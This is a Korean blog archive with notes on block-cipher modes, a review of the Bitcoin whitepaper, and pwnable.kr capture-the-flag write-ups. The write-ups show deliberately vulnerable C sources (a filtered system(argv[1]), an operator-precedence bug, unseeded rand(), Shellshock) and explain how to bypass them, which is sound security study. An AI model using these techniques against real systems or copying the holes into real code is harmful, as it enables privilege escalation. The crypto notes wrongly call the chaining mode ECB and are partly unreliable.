ECB 모드를 사용하면 각 block들이 chain 처럼 순차적으로 말려 들어가 동일한 평문이 암호화 되어도 다른 암호문을 만들어낸다.

ECB의 특징으로는 error 복구 능력이 강하다는 것이다.

만일 암호문을 송신자가 수신자에게 보낼 때 블록 하나만 깨지더라도 두 개의 평문 block에만 영향을 준다.

C0, C1, C2 ... CN의 암호 block 중 C1 block이 깨졌다고 가정하면 아래와 같다.

즉 두 번째 이후 block 부터는 깨진 block에 대해 영향을 받지 않기 때문이다.

CBC mode의 예시는 아래와 같다.

CTR (Counter mode)

CTR mode는 IV를 선택해서 IV를 counter 하여 사용하는 것이다.

이전 block이 필요하지 않고 병렬화 가능해서 속도가 빠르고 효율성이 높다.

CTR를 사용한 암호화는 아래와 같다.

CTR를 사용한 복호화는 아래와 같다.

Integrity

Integrity는 무결성으로서 비인가된 사람이 data를 수정하는것을 방지하는 것이다.

block cipher에서 무결성을 확인하기 위해 MAC(Message Authentication Code)를 사용한다.

MAC은 단지 CBC 모드에서 마지막 block을 MAC으로 사용한다.

송신자는 평문과 MAC을 수신자에게 보내고 수신자는 평문을 이용해 MAC을 구해 송신자의 MAC과 수신자의 MAC을 비교해 message가 변경되었는지 확인 할 수 있다.

CBC mode는 각각의 block이 chain처럼 연결 되어있기 때문에 중간에 평문 block이 변경되면 MAC에 영향을 주어 MAC값이 수정된다. 따라서 이를 이용해 integrity를 보장할 수 있다.

Bitcoin: A peer-to-Peer Electronic Cash System

MarcoKhan — Thu, 22 Nov 2018 18:11:01 +0900

block chain과 bitcoin을 공부하기 위해 satoshi Nakamoto의 논문을 review 및 설명 하려고 합니다.

1. Introduction

현재의 거래 시스템을 생각해보면 다음과 같은 방식으로 거래가 진행된다.

내가 M4RC0에게 물건을 사기 위해서 나는 제 3의 신용기관인 금융기관을 통해 거래가 이루어진다.

이러한 거래 시스템은 신뢰 기반으로 잘 작동하지만, 신뢰 기반이라는 약점을 항상 가지고 있다.

또한 거래 시스템에서 거래 내용이 가역적이다. 즉, 모든 거래는 되돌릴 수 있는 거래이다.

이런 가역적 특성 때문에, 거래자와, 상인은 피해를 볼 수 있고, 그에 대해 금융기관이 수수료를 갖는 형식으로 진행된다.

제 3의 신용기관인 금융기관을 실제로 설립하고, 운영하기 위해 많은 비용이 들어간다.

Satoshi Nakamoto는 이러한 제 3의 신용기관인 금융기관을 이용하지 않고, 암호학을 기반으로 거래 시스템을 만들 수 있다고 생각한다.

암호학 기반의 거래 시스템은 제 3의 신용기관이 필요 없이 거래 가능한 시스템이면서 비 가역적이다.

암호학 기반의 거래 시스템에서 발생할 수 있는 문제는 double-spending(이중 사용)의 문제인데, 이러한 문제를 해결하는 방법은 뒤에서 나올 timestamp를 이용해 해결 가능하다. 이 시스템에 참여하고 있는 각각의 참여자는 정직하다는 기반으로 작동한다. 만일 이 시스템에 참여한 참여자 중 50% 이상이 attack의 목적을 가지고 있으면 제대로 작동할 수 없다.

2. transaction

Satoshi Nakamoto가 제안한 거래는 일반적으로 제 3 신뢰기관인 금융기관을 통해 거래하는것과는 차이가 있다.

현재의 거래 시스템은 금융기관을 통해 "통장"으로 돈이 들어오고 "통장"에서 돈이 나간다.

암호학 기번의 거래 시스템은 나에게 주어진 코인을 모아 남에게 전송하거나 나에게 전송하는것이다.

이 과정은 현재의 거래 시스템과 비슷하다고 생각할 수 있지만, 실제는 다르다.

만일 내가 M4RC0에게 3btc을 보내고 싶다면 block chain 거래 시스템에 속해 있는 모든 노드들에게 "내가 M4RC0에 3btc을 보낼거야"라고 전달한다. 여기서 M4RC0는 내가 돈을 보낸 M4RC0가 자기 자신인 것을 입증해야하고, 그것은 private key를 통해 증명할 수 있다.

만일 M4RC0가 private key를 잃어버리거나 노출되면, coin을 얻거나 전달할 수 없다.

거래 과정을 쉽게 알기 위해서, 아래의 의미를 알면 이해하기 쉽다.

개인키(private key): 비트코인에서 난수로 만들어지는 개인적 256 bit key

공개키(public key): 개인키로부터 뽑아낼 수 있는 공개된 key이다. public key를 통해 private key를 유추할 수 없다.

주소(address): 공개키를 sha256으로 변환한 뒤, RIPEMD160으로 변환한 값이 주소이다.

Satoshi Nakamoto는 전자 코인을 "디지털 서명의 체인"으로 정의했다. 각각의 코인의 소유자는 이전 거래와, 전달할 거래자의 public key를 hash하고 디지털 서명 하고 코인의 끝에 추가함으로써 다음 소유자에게 전달 할 수 있다. 이해하기 쉽게 아래의 그림으로 나타낼 수 있다.

이 거래의 문제점은 수취인(payee)의 입장에서 받은 코인이 이중 사용된(double-spend) 코인인지 알 수 없다는 것이다.

이중 사용(double-spending) 문제를 해결하기 위해서, 신뢰를 갖는 중앙 관리를 만들면 된다. 모든 코인은 신뢰를 갖는 중앙 관리로 부터 발행되고, 거래된 코인은 신뢰된 중앙 관리로 들어가 재 발급 되어야 한다. 신뢰된 중앙 관리에 의해 발급된 코인은 즉, 이중 사용(double-spending)되지 않았다는것을 보장해준다. 다시보면, 이것은 신뢰가 중심이되는 거래이다. 하지만 Satoshi Nakamoto가 원하는 거래 양상은 이와 같은 제 3의 신뢰된 기관이 개입한 상황을 추구하는것이 아니다.

거래에 있어서 Satoshi Nakamoto가 추구하는 것은 수취인(payee)가 코인의 이전 소유자가, 이중사용(double-spending)을 했는지 안했는지에 관심이 있고, 이후에 이중사용(double-spending)을 했는지 안했는지는 관심이 없다.

그렇다면 제 3의 신뢰된 기관이 어떻게 이중 사용(double-spending)을 방지할 수 있는지 보면, 모든 코인과 거래를 제 3의 신뢰된 기관이 알고 있기 때문이다. 만일 제 3의 신뢰된 기관 없이 이중사용(double-spending)을 막기 위해서는 어떻게 해야할까?

Satoshi Nakamoto가 제안한 방법은, 모든 거래들이 거래 될 때 공개적으로 모든 사용자(Node)들에게 알리고, 대다수의 사용자(Node)들이 이중사용(double-spending)되지 않았음을 판단하고 확인하는 방법이다.

소유자 1이 소유자 2에게 송금하기 위해서 소유자 1은 소유자 0으로부터 받은 돈을 전달한다.

소유자 0이 소유자 1에게 돈을 전달하는 거래가 발생하기 위해 소유자 1은 소유자 0에게 자신의 주소를 전달한다.

소유자 0은 소유자 1에게 돈은 전달하고, 소유자 1을 나타내기 위해 소유자 1의 public key를 사용한다.

소유자 1은 소유자 0이 소유자 1에게 돈을 보냈는데 소유자 1이 자기 자신임을 증명하기 위해서 소유자 1의 private key를 사용한다.

소유자 0이 소유자 1에게 거래를 통해 돈을 보냈을 때 돈이 잠겨있다고 생각하면된다.

소유자 1이 소유자 0으로부터 받은 돈을 통해 거래를 하고 싶으면 잠겨있는 돈을 해제하여 거래를 진행해야한다.

아래의 그림으로 쉽게 나타낼 수 있다.

소유자 1이 소유자 0으로 받은 거래를 소유자 2에게 보내기 위해서, 거래 해제를 진행하고 잠금을 다시 진행한다.

헤제와 잠금의 단계는 아래와 같다.

해제

잠금

OP_DUP OP_HASH160 <PubkeyHash> OP_EQUALVERIFY OP_CHECKSIG

비트코인의 거래에서 해제와 잠금은 stack 기반으로 작동한다.

해제의 과정은 아래와 같다.

잠금의 과정은 아래와 같다.

3. Timestamp Sever

Timestamp Sever는 satoshi Nakamoto가 제안한 이중거래(double-spending)를 막을 수 있는 방법이다.

Timestamp는 실제 시간(몇시 몇분의 기록)이 아니라 어떠한 작업이 먼저 일어났는지, 시간적 순서를 나타낸다.

거래들이 모인 블록을 해시하고 해시 값을 공개적으로 알린다. 각각의 Timestamp Server는 이전의 Timestamp와 현재 블록의 해시값을으로 Timestamp를 만든다. 블록이 추가될 때마다 chain을 형성하므로 TimeStamp에 의해 보안이 강화된다.

transaction에서 이야기한 transaction들을 계속 발생하고 약 10분마다 transaction들을 모아 하나의 블록을 만든다.

만일 블록 0이 이전에 존재했고, 블록 1을 만들어 TimeStamp를 하려고 하면 Hash(블록 0의 hash || 블록 1의 hash1)를 한다. chain 형태로 되어있기 때문에, 블록이 더해질수록 신뢰성이 높아진다고 말할 수 있다.

4. Proof-of-Work(PoW)

각각의 블록에는 블록 헤더가 존재하고 블록 헤더의 6개의 정보를 이용해 블록 해시가 만들어진다.

블록 헤더는 아래의 6개로 구성된다.

1.version: 소프트웨어/프로토콜 version

2. previous block hash : 현재 블록 체인 바로 앞에 위치한 블록의 블록 해시

3. merkle hash : markle tree의 root 값

4. time: 블록이 생성된 시간

5. bits: difficulty 조정 값

6. nonce: 0으로 시작하여 조건에 맞는 값을 찾을때 까지 1씩 증가시킨다.

block chain에서 블록을 생성할 권리가 공평하게 분배되지 않고 일부 혹은 집단에 의해서 독과점 되어버리면 timestamp의 순서를 마음대로 바꿀 수 있다. satoshi Nakamoto가 제안한 방법은 PoW를 통해 운에 따라 블록을 생성할 권리를 갖는 방법이다.

PoW는 블록의 해시 값이 요구되는 연속된 0의 값을 찾기 위해 nonce 값을 증가시키며 찾는다. CPU의 노력을 통해 만족시키는 값을 찾은 경우 블록은 이전 블록에 chain 형식으로 연결된다. 블록을 수정하고 싶다면 PoW를 다시 진행해야하고, chain으로 연결되어있기 때문에 수정된 블록부터 이후 블록 모두에 대하여 Pow를 진행해야한다. 그림으로 나타내면 아래와 같이 나타낼 수 있다.

satoshi Nakamoto는 공평한 블록 생성 권리를 정하기 위해 확률적 요소를 적용했다.

"연속된 0 이 나올 때 까지 nonce를 증가시킨다."라고 이야기 했는데 일반적으로 연속된 0의 비트가 70개 나와야한다고 가정해보자. 비트코인은 sha256 해시 함수를 사용하기 때문에 항상 outpout은 256 bit이다. 이 중이에서 연속된 70개의 bit가 0으로 나올 확률을 1/2^70이다. 즉, node(사용자)가 블록 생성권리를 얻기 위해서 2^70정도 계산을 하면 한번 정도 권한을 얻을 수 있다. 만일 어떤 node가 Pow 를 만족하는 값을 찾았다면, node는 블록 생성 권리를 얻었고, 블록에 계산된 해시값을 기록한다.

satoshi Nakamoto는 PoW를 다수결에 의해 결정되는 시스템에서도 적용 가능하다고 생각한다.

다수결에 의해 결정되는 시스템은 내재적으로 one-person-one-vote 기반이다. 만일 one-IP-one-Vote는 다중 IP를 가질 수 있는 사람에 의해 시스템이 무너질 수 있지만, onc-CPU-one-vote는 다중 CPU를 통한 투표가 불가능하다. 하지만 요즘 hardware의 성능이 급격하게 좋아지고 각각의 node(사용자)가 증가하므로 difficulty라는 난이도를 추가했따.

난이도(difficulty)는 단순하게 PoW를 결정하는 난이도라고 생각하면 된다. 난이도(difficulty)에는 연속된 0의 개수가 자체적으로 조절된다. 비트코인은 10분마다 1개의 블록이 생성되도록 2주마다 결정된다. 2주는 약 20,160분이므로 보통 2016개의 block이 2주마다 생성된다고 예상할 수 있다. 시스템이 2주마다 생성된 블록의 개수를 세어 2016보다 많게 블록이 생성되면 난이도(difficluty)를 증가시키고, 2016보다 적게 생성되면 난이도(difficulty)를 낮추어 블록 생성 개수를 조절한다.

5. Network

거래들이 발생할 때 어떻게 블록들이 생성되는지에 대한 설명이다.

네트워크가 돌아가는 과정은 아래와 같다.

1) 새로운 거래는 모든 node(사용자)에게 브로드캐스트 된다.

2) 각각의 node(사용자)들은 새로운 거래를 블록에 수집한다.

3) 각각의 node(사용자)들은 그것의 블록을 위해 PoW를 진행한다.

4) 한 node(사용자)가 PoW를 찾았을 때, 그 node(사용자)는 그 블록을 모든 node(사용자)에게 브로드캐스트한다.

5) node(사용자)들은 블록의 모든 거래가 유효하고 이전에 사용되지 않았을 때, 블록을 받아들인다.

6) node(사용자)들은 블록의 승인을 이전 해시의 블록을 받아들인 해쉬로서 다음 블록을 생성함으로써 나타낸다.

node(사용자)들은 항상 chain의 길이가 제일 긴것을 옳은 것으로 생각하고 길게 늘이려고 노력한다.

만일 두 node(사용자)가 동시에 다음 블록에 대해 브로드캐스트를 진행하면 각각의 node(사용자)들은 자신이 처음 받은 블록을 먼저 수행하고 다른 하나는 다른 branch가 더 길어질 경우를 대비해 저장해둔다.

새로운 거래에 대한 브로드캐스트 또한 모든 node(사용자)에게 전해질 필요는 없고, 대부분의 node(사용자)에게 전달되면 된다. 왜냐하면 대부분의 node(사용자에 의해) 곧, 거래는 블록에 들어가게 된다. 또한 추후 다음 블록을 받았을때 블록 누락을 알 수 있다.

6. Incentive

블록 생성의 대가(coin, fee)에 대한 설명이다.

각각의 node들은 블록을 생성할 권리를 위해 Pow를 하고, 컴퓨터의 CPU와 전력을 소모한다. 만일 이러한 소비에 대해 incentive가 없다면 이러한 시스템은 오래 유지 될 수 없을 것이다. 따라서 satoshi Nakamoto는 블록을 생성한 node(생성자)에게 코인을 주는 형식으로 incentive를 지급할 것을 제안했다. 블록을 생성하면 시스템이 블록을 생성한 node(생성자)에게 코인을 지급한다. 코인 지급은 블록 생성자의 public key를 이용해 주소를 얻어내어 주소로 코인을 지급한다.

인센트비는 또한 거래 수수료가 될 수 있다. 만일 거래의 out 비용이 in 비용 보다 작으면 그 차익만큼 거래 수수료가 되는 것이다. 각 코인은 미리 정해진 개수가 있기 때문에 코인 어느 정도 유통되면 incentive는 거래수수료가 되고, 인플레이션으로부터 자유로워진다.

만일 내가 block을 생성하기 위해 PoW 작업을 진행했고, 그로 인해 CPU power와 전력을 소모했는데, 아무런 incentive도 받을 수 없다면 더 이상 그러한 거래 시스템을 사용하지 않을것이다. 위에서 말했듯이 비트코인은 코인이 미리 정해져 있는데 블록 생성으로 더 이상 코인을 받을수 없다면 손해보는 장사를 하지 않기 위해 PoW 작업을 진행하지 않을 것이고 그 시스템을 사용하는 node(사용자)들이 감소하여 비트코인의 인플레이션이 발생할 것이다. 하지만, 거래 수수료라는 개념을 도입하여, 인플레이션 문제를 해결하고 블록 생성의 인센티브 문제를 해결해 이와 같은 시스템이 충분히 잘 작동하도록 제안하였다.

7. Reclaiming Disk Space

코인에 대한 가장 최근 거래가 충분한 블록들 아래에 묻혀지면, 이전에 발생한 거래들은 디스크 공간을 아까기 위해서 버릴 수 있다. 블록 해시를 망가트리지 않고 이러한 작업을 하기 위해서, 거래들은 Merkle 트리로 해시된다. 또한 Merkle 트리의 root만 블록 해시에 포함된다. 이와 같은 구조를 통해서 Merkle 트리의 가지치기가 가능하다.

Merkle Tree는 상위 노드가 자식 노드의 해시값으로 이루어져 chain 처럼 엮여 있기 때문에 거래 중 일부분만 변경되도 그것이 상위 노드에 영향을 주어 해시 값이 변경된다. 하지만 가지치키를 한다고, 해시 값이 달라지는 것은 아니기 때문에 Merkel Tree를 이용하면 보다 쉽게 디스크 공간을 save 할 수 있다.

8. Simplified Payment Verification

간소화된 지불 검증을 위해, Full Node와 Light Node에 대해 알면 이해가 쉬울것이다.

Full Node: 거래에 대한 모든 정보를 가진 노드이다.

Light Node: 블록 내 거래 정보가 없는 블록 헤더로만 구성된 노드이다.

지불에 대한 검증은, Full Node를 사용하지 않고 Light Node를 이용해도 검증할 수 있다. 사용자는 자신이 가장 긴 체인을 가지고 있다고 확신할 때 까지 네트워크 노드에 요청을 해 가장 긴 chain을 얻고 Merkle 가지를 얻는다. 혼자서 거래 입증을 할 수 없지만 현재 chain에 연결 함으로써 거래의 검증이 가능하다. 아래의 그림을 보고 이해를 돕자.

어떻게 하면 Light node를 이용해 검증이 가능할까?

만일 우리가 거래 3에 대해 검증을 진행한다고 하면 Light Node는 Full Node에게 필요한 정보를 요청한다.

필요한 정보는 해시2, 해시 23, 해시01이 될 것이다.

해시3 = hash(거래3)

해시23 = hash(해시2, 해시3)

머클 루트 해시 = hash(해시01, 해시23)

위와 같은 작업을 통해 Light Node가 가지고 있는 Merkle Tree root 와 현재 계산된 root와 값이 같다면 거래가 변조되지 않았다고 생각가능하다. 즉, 우리는 매번 Full Node를 통한 검증이 아닌 Light Node를 통한 검증이 가능하다.

하지만 만일 Network가 attacker에 의해 과반수 이상 과점되면, Light Node에 의한 검증은 신뢰될 수 없다. 왜냐면 Light Node가 Full Node에 정보를 요청하는데 잘못된 정보를 줄 수 있따. 따라서 네트워크 노드가 잘못된 블록을 발견했을 때 경계 신호를 보내거나 블록을 다운받아 거래의 불일치를 확인해야한다.

9. Combining and Splitting Value

코인들을 각각 개별로 처리하는 방법도 있지만, 거래의 모든 단위마다 분리해서 처리해야하기 때문에 이 방법은 사용되지 않는다. 비트코인에서 사용하는 방법은 다수의 input과 다수의 output으로 이루어진 거래로 진행된다. input은 이전의 큰 금액의 single input 혹은 이전의 많은 입금을 통한 multiple input이 될 수 있다. output은 상대방에가 보내는 single output과 차액을 다시 나에게 보내는 single output이 존재한다. 그림으로 나타내면 아래와 같이 나타낼 수 있다.

위에서 언급했듯이 비트코인의 거래에 있어서 현재의 거래와 가장 다른점은 통장의 개념이 없다는 것이다.

현재의 거래 시스템에서 제 3의 신뢰 기관을 통해서 거래가 진행되짐만 비트코인 시스템에서는 이전에 받은 코인을 다른 사람에게 전달하는 것이다. input이 output보다 큰 경우 차이는 거래 수수료가 된다.

10. privacy

전통적인 은행 모델에서는 연관된 사람과 신뢰기관에 대한 정보 접근을 제한함으로써 privacy를 달성했다. 그러나 거래를 공개적으로 알려야하는 상황에서는 privacy를 달성할 수 없다. 따라서 제안한 방법은 public key를 익명으로 사용하는 것이다. 그렇게 되면 거래는 공개적으로 보이지만, 누가 누구에게 보내는지는 알 수 없다. 다면 여러명이 한명에게 집중적으로 거래를 시도하면 소유자를 확인할 수 있는 단점이 존재해, 거래마다 새로운 키 쌍(public key, private key)를 생성한다.

11. conclusion

satoshi Nakamoto 신뢰(trust) 기반이 아닌 새로운 거래 시스템을 제안했다.

이중지불(double-spending) 문제를 해결하기 위해 peer to peer 기반 시스템을 도입했고, PoW 개념 또한 도입했다. satoshi Nakamoto의 블록체인 기술은 모든 node(사용자)들이 신뢰할 수 있다는것이 기반을 한다. block chain의 유일한 취약점은 "51% 공격"으로 대다수에 의해 과점된 시스템은 소수를 속일 수 있다.

[pwnable.kr] cmd1 풀이, write-up

MarcoKhan — Fri, 16 Nov 2018 14:02:17 +0900

pwnable.kr --- cmd1

ssh cmd1@pwnable.kr 2222 (pw:guest)로 접속하면 cmd1 문제를 만날 수 있다.

windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.

windows 환경의 cmd로 접속하려면 ssh cmd1@pwnable.kr -p2222와 같이 접속해야한다.

우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.

우리가 원하는 파일은 flag이고 현재 id가 cmd1이기 때문에 flag를 볼 수 있는 권한이 없다.

cmd1 파일은 setgid가 cmd1_pwn의 권한으로 걸려있다.

cmd1 elf 파일을 통해 cmd1_pwn의 권한으로 flag를 볼 수 있을것 같다.

cmd1.c를 가지고 cmd1 elf 파일을 만들었을 확률이 높으므로 cmd1.c를 분석해보자.

환경변수 PATH를 /thankyouverymuch로 설정한다.

filter() 함수를 호출한다.

1
2
3
int main(int argc, char* argv[], char** envp) {                                        
        putenv("PATH=/thankyouverymuch");
        if(filter(argv[1])) return 0;
cs

filter() 함수로 들어온 인자 cmd에 "flag", "sh", "tmp" 문자가 들어있으면 0이 아닌값을 return 한다.

1
2
3
4
5
6
7
int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;                                                    
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
Colored by Color Scripter
cs

filter() 함수가 0이 아닌 값을 출력하면 return 0을 하고 0이 아닌 값이 들어오면, system(argv[1])을 하고 return 0

1
2
3
4
        if(filter(argv[1])) return 0;                                                
        system( argv[1] );
        return 0;
}
Colored by Color Scripter
cs

우리가 cmd1을 공격하기 위해서 Linux의 환경변수인 PATH가 하는 작업을 생각 해야한다.

PATH는 리눅스 상에서 파일의 위치를 알려준다고 생각하면 된다.

우리가 이렇게 파일의 위치를 환경변수 PATH에 정의하는 이유는 뭘까?

Linux에서 사용하는 명령어(cat, ls ...etc) 모두 bin이라는 디렉토리에 존재한다.

하지만 우리는 /bin/cat, /bin/ls를 사용하는 대신. cat, ls만 입력하도 명령어를 사용할 수 있다

이것은 PATH에 미리 /bin이라고 명시되어 있기 때문에 사용자가 cat만 입력해도 환경변수 PATH를 참조해 /bin/cat을 실행하는 것이다.

PATH에 있는 경로를 따라가면 명령을 실행할 수 있다고 얘기하는것과 같다.

하지만 putenv를 통해 PATH를 초기화 하기 때문에 단지 명령어 만으로 명령을 실행할 수 없어 절대경로를 적어줘야한다.

또한 필터링을 하기 때문에 *(wild card)를 사용하여 bypass를 진행했다.

*을 사용하여 한번에 여러 파일들에 접근할 수 있다.

예를들어 fl*라고 지정을 하면 앞 두글자가 "fl"인 모든 파일에 접근하는 것이다.

위와 같이 쉽게 공격에 성공 가능하다.

또한 환경변수를 통해 *(wild card)를 사용하지 않고 접근 가능하다.

성공!!!!!!

[pwnable.kr] mistake 풀이, write-up

MarcoKhan — Thu, 15 Nov 2018 14:55:55 +0900

pwnable.kr --- mistake

ssh mistake@pwnable.kr 2222 (pw:guest)로 접속하면 mistake 문제를 만날 수 있다.

windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.

windows 환경의 cmd로 접속하려면 ssh mistake@pwnable.kr -p2222와 같이 접속 해야한다.

우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.

우리가 원하는 파일은 flag이고 현재 id가 mistake이기 때문에 flag를 볼 수 있는 권한이 없다.

password와 mistake라는 elf 파일이 존재하고, password는 read만 가능하고 mistake는 실행 가능하다.

mistake 파일은 setuid가 mistake_pwn의 권한으로 걸려있다.

mistake elf 파일을 통해 mistake_pwn의 권한으로 flag, password를 볼 수 있을것 같다.

mistake.c를 가지고 mistake elf 파일을 만들었을 확률이 높으므로 mistake.c를 분석해보자.

PW_LEN=10, XORKEY=1 치환하는 매크로 함수를 작성한다.

지역 변수 fd를 선언한다.

"/home/mistke/passwd"를 읽기모드로 passwd 파일을 소유자만 읽을 수 있도록 fd를 설정하고,

만일 파일 읽기에 실패하면 "can't open password %d\n"를 출력한다.

open 함수의 원형은 아래와 같다.

int open(const char *FILENAME, int FLAGS[, mode_t MODE])

char *FILENAME : 대상 파일 이름이다.

int FLAGS : 파일에 대한 열기 옵션이다.

[, mode_t MODE]: O_CREAT 옵션 사용시 파일이 생성될 때 지정되는 파일의 권한이다.

반환형은 정상적으로 open 하면 file descriptor의 값을 return하고, 실패하면 -1을 반환한다.

여기서 hint의 중요성을 알게 된다. 처음에 hint를 보지 못해서 애를 먹었는데 mistake의 hint는 operator priority이다.

open("/home/mistake/password",O_RDONLY,0400) 함수는 성공하니 file descriptor를 반환할 것이고 file descriptor는 양수이다.

operator priority 때문에 크기 비교(<)를 먼저하고, file descriptor와 0을 대소비교하니 거짓이나와 0이 return 되어 최종적으로 file descriptor는 0이된다.

1
2
3
4
5
6
7
8
9
10
#define PW_LEN 10
#define XORKEY 1
 
int main(int argc, char* argv[]){
    
    int fd;
    if(fd=open("/home/mistake/password", O_RDONLY, 0400) < 0) {                        
        printf("can't open password %d\n", fd);
        return 0;
    }
Colored by Color Scripter
cs

"do not bruteforce...\n"를 출력하고 sleep() 한다.

1
2
    printf("do not bruteforce...\n");                                                
    sleep(time(0)%20);
cs

11 byte의 char형 배열을 선언하고, int형 len 변수를 선언한다.

file descriptor를 10 byte 읽어들여 11 byte의 char형 배열인 pw_buf에 저장한다.

read함수에 성공하면 읽어들인 길이만큼 len에 저장한다.

read 함수에 실패하면 "read error\n"를 출력하고 file descriptor를 닫고 종료한다.

연산자 우선순위는 "="가 거의 제일 낮기 때문에 마지막으로 판단한다.

1
2
3
4
5
6
7
    char pw_buf[PW_LEN+1];
    int len;    
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){                                            
        printf("read error\n");
        close(fd);
        return 0;
    }
Colored by Color Scripter
cs

11 byte의 char형 배열을 선언하고 사용자로부터 10글자의 string을 입력받는다.

xor 함수를 호출한다.

1
2
3
4
5
6
7
    char pw_buf2[PW_LEN+1];
    printf("input password : ");                                                    
    scanf("%10s", pw_buf2);
 
    // xor your input
    xor(pw_buf2, 10);
 
Colored by Color Scripter
cs

xor 함수는 각 string 한 문자를 1과 xor한 값을 저장한다.

1
2
3
4
5
6
void xor(char* s, int len){                                                            
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}
Colored by Color Scripter
cs

만일 pw_buf와 pw_buf2를 10 byte 비교 했을 때, 같으면 "password OK"를 출력하고 flag를 pwn_mistake의 권한으로 보여준다.

만일 두 문자열이 다르다면 "Wrong Password\n"를 출력하고 종료한다.

file descriptor를 닫고 종료한다.

1
2
3
4
5
6
7
8
9
10
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){                                                
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }
 
    close(fd);
    return 0;
Colored by Color Scripter
cs

최종적으로 소스를 정리해보면 아래와 같다.

fd는 0으로 설정되고 사용자로부터 글자를 입력받아 10 byte를 pw_buf에 저장한다.

사용자로부터 입력을 받아 pw_buf2에 저장한다.

pw_buf2는 각 문자가 1과 xor 연산을 해 pw_buf2와 저장한다.

pw_buf와 pw_buf2를 비교해 같으면 flag를 보여준다.

A를 10개 집어넣어 pw_buf에 저장하자.

pw_buf에는 A가 10개 들어가있다.

우리는 이제 입력을 해야하는데 A는 0x41이므로 0x41과 0x1을 xor하면 0x40(@)이다.

아래와 같이 입력하면 공격에 성공 할 수 있다.

[pwnable.kr] shellshock 풀이, write-up

MarcoKhan — Tue, 6 Nov 2018 18:12:12 +0900

pwnable.kr --- shellshock

ssh shellshock@pwnable.kr 2222 (pw:guest)로 접속하면 shellshock 문제를 만날 수 있다.

windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.

windows 환경의 cmd로 접속하려면 ssh shellshock@pwnable.kr -p2222과 같이 접속 해야한다.

우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.

우선 flag를 알아야 하는데 현재 id가 shellshock이기 때문에 flag를 볼 수 있는 권한이 없다.

bash와 shellshock이라는 elf 파일이 존재하고, 두 파일 모두 실행 가능하다.

shellshock 파일은 setuid가 shellshock_pwn의 권한으로 걸려있다.

shellshock elf 파일을 통해 shellshock_pwn의 권한으로 flag를 볼 수 있을것 같다.

shellshock.c를 가지고 shellshock elf 파일을 만들었을 확률이 높으므로 shellshock.c를 분석해보자.

setresuid, setresgid를 shellshock_pwn의 권한으로 부여받는다.

setresuid, setresgid는 set real, effective and saved user or group ID의 뜻을 가진다.

"/home/shellshock/bash를 실행하고 'echo shock_me"를 한다.

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());    
    system("/home/shellshock/bash -c 'echo shock_me'");                                
    return 0;
}
Colored by Color Scripter
cs

아무리 생각해도 공격방법을 알수 없어 bash -c를 찾아보던 중 shellshock이 공격기법이라는 것을 알고 찾아 봤다.

shellshock 취약점은 (CVE-2014-6271)으로 등록된 취약점이다.

CVE-2014-6271 취약점은 환경 변수에 코드를 삽입해 예상치 못한 행위를 하는 취약점이다.

아래의 예로 CVE-2014-6271를 알아보자.

우선 환경변수로 변수와 함수가 등록될 수 있다는것을 알자.

export라는 명령어를 통해 환경 변수를 등록했다.

x를 입력했을때 "marco"가 출력되지 않는 이유는 x는 변수이지, 함수가 아니기 때문에 실행할 수 없다.

함수명() { 함수 body; } 와 같이 환경변수의 함수를 선언할 수 있다.

export -f(function) 옵션을 통해서 환경변수에 등록 가능하고 등록된 환경변수가 함수이기 때문에 실행가능하다.

그러면 이제 shellshock의 취약점을 이용해보자.

x 라는 환경 변수에 함수 문법과 비슷한 "() { echo M4RC0; }" 문자열을 등록했다.

환경변수 x의 내용을 보면 string이 출력된다.

취약점이 있는 bash를 실행하고 다시 x를 보니 함수와 같이 함수로 등록되어 있다.

취약점이 있는 bash를 실행하면, 등록된 환경변수를 읽어오는데 함수 문법으로 되어 있으면 함수라고 판단하고 변수를 함수로 등록해버린다.

shellshock은 현재 setuid가 걸려있는 ./shellshock을 실행하면 shellshock_pwn의 권한으로 취약점이 있는 bash를 실행하고 flag를 보면 될것이다.

export가 아닌 env를 통해서도 공격이 가능하다.

[pwnable.kr] random 풀이, write-up

MarcoKhan — Tue, 6 Nov 2018 00:15:49 +0900

pwnable.kr --- random

ssh random@pwnable.kr 2222 (passwd:guest)로 접속하면 random 문제를 만날 수 있다.

windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.

windows 환경의 cmd로 접속하려면 ssh random@pwnable.kr -p2222 이와 같이 접속 해야한다.

우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.

우선 flag를 알아야 하는데 현재 id가 random이기 때문에 flag를 볼 수 있는 권한이 없다.

random이라는 실행파일이 존재하고, setuid가 random_pwn의 권한으로 걸려있다.

random elf 파일을 통해 random_pwn의 권한으로 flag를 볼 수 있을것 같다.

random.c를 가지고 random elf 파일을 만들었을 확률이 높으므로 random.c를 분석해보자.

unsigned int 형 지역변수 random를 선언한다.

1
unsigned int random;                                                                
cs

rand() 함수를 통해 난수를 생성한 뒤 random에 저장한다.

1
random = rand()    // random value!                                                    
cs

unsigned int 형 지역변수 key를 선언한다.

key에 사용자로부터 입력을 받는다.

1
2
unsigned int key = 0;
scanf("%d", &key);                                                                    
cs

key^random == 0xdeadbeef이면 flag를 보여주고 프로그램을 종료한다.

1
2
3
4
5
if( (key ^ random) == 0xdeadbeef) {
        printf("Good!\n");
        system("/bin/cat flag");                                                    
        return 0;
}
Colored by Color Scripter
cs

"Wrong, maybe you should try 2^32 cases.\n"을 출력한다.

1
2
printf("Wrong, maybe you should try 2^23 case.\n");                                    
return 0;
Colored by Color Scripter
cs

난수를 생성하는 함수는 대표적으로 srand() 함수와 rand() 함수가 있다.

srand() 함수는 seed를 설정할 수 있지만 rand()는 seed를 설정할 수 없다.

seed가 있고 없고는 난수 생성에서 엄청난 차이가 있다.

